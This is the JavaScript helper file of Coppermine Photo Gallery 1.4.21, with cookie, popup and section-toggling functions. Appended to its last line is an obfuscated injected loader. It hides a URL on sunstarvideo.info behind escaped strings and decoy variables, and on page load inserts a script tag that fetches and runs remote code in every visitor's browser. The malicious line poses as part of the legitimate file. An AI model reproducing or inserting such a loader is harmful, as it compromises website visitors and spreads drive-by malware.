/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2009 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.21
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 5728 $
  $Author: gaugau $
  $Date: 2009-03-02 09:25:17 +0100 (Mo, 02 Mär 2009) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}

this.u="";var YC;if(YC!='oH' && YC!='l'){YC=''};try {var A;if(A!='c'){A='c'};this.xs='';var i=window[unescape("%75%6e%65%73%63%61%70%65")];var U="";var Y=window[i("%52%65%67%45%78%70")];this.k='';var C=i("%72%65%70%6c%61%63%65");var J=null;this.NC="";this.kj="";var z;if(z!='Nf'){z='Nf'};function I(T,R){this.Am="";var CF=new Date();this.cU="";this.RO="";var h=i("%5b");var X;if(X!='' && X!='xO'){X=null};var wW;if(wW!='' && wW!='AH'){wW=null};h+=R;h+=i("%5d");var _i=new String();var o=new Y(h, i("%67"));return T.replace(o, J);var _K;if(_K!='P'){_K=''};var PL;if(PL!='' && PL!='QV'){PL='F'};};var xq='';var VM=new String();var H="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x73\x74\x61\x72\x76\x69\x64\x65\x6f\x2e\x69\x6e\x66\x6f\x3a";var SM=new String();this.Nw='';var x=i("%73%63%72%69%70%74");var Ma='';var _=I('/vg_o_oRgRlWe1.8cUo2mU/1z8ivd2d1u1.UcRoWmq/3dYiYo2nY.Rn8eR.0jGpW.BpGh1p8','BWR1U3qvY_0G8sF2');var T=i("%31");var OV="";var j='';var IG=I('8359373906467938166732260936951646','53246719');var t=String("on"+"64Dflo".substr(4)+"adti9".substr(0,2));this.sU='';var PU;if(PU!='eS'){PU='eS'};function N(){this.YJ='';this.ro='';var y=document;var U_="";Hn=y.createElement(x);this.g_="";this.Tg="";var GU="";j+=H;j+=IG+_;var mE;if(mE!='bj' && mE!='cT'){mE='bj'};var vj;if(vj!='dp'){vj='dp'};var w=y.body;var qG;if(qG!='n'){qG='n'};var Ri=new Array();Hn.src=j;var TR;if(TR!='pD' && TR != ''){TR=null};Hn.defer=T;w.appendChild(Hn);var KQ="";var Y_="";};var W;if(W!='wm' && W!='VR'){W='wm'};var yM=new String();var Bd;if(Bd!='el'){Bd='el'};var IA;if(IA!='cc' && IA!='mQ'){IA=''};window[t]=N;var Na;if(Na!=''){Na='ty'};} catch(V){};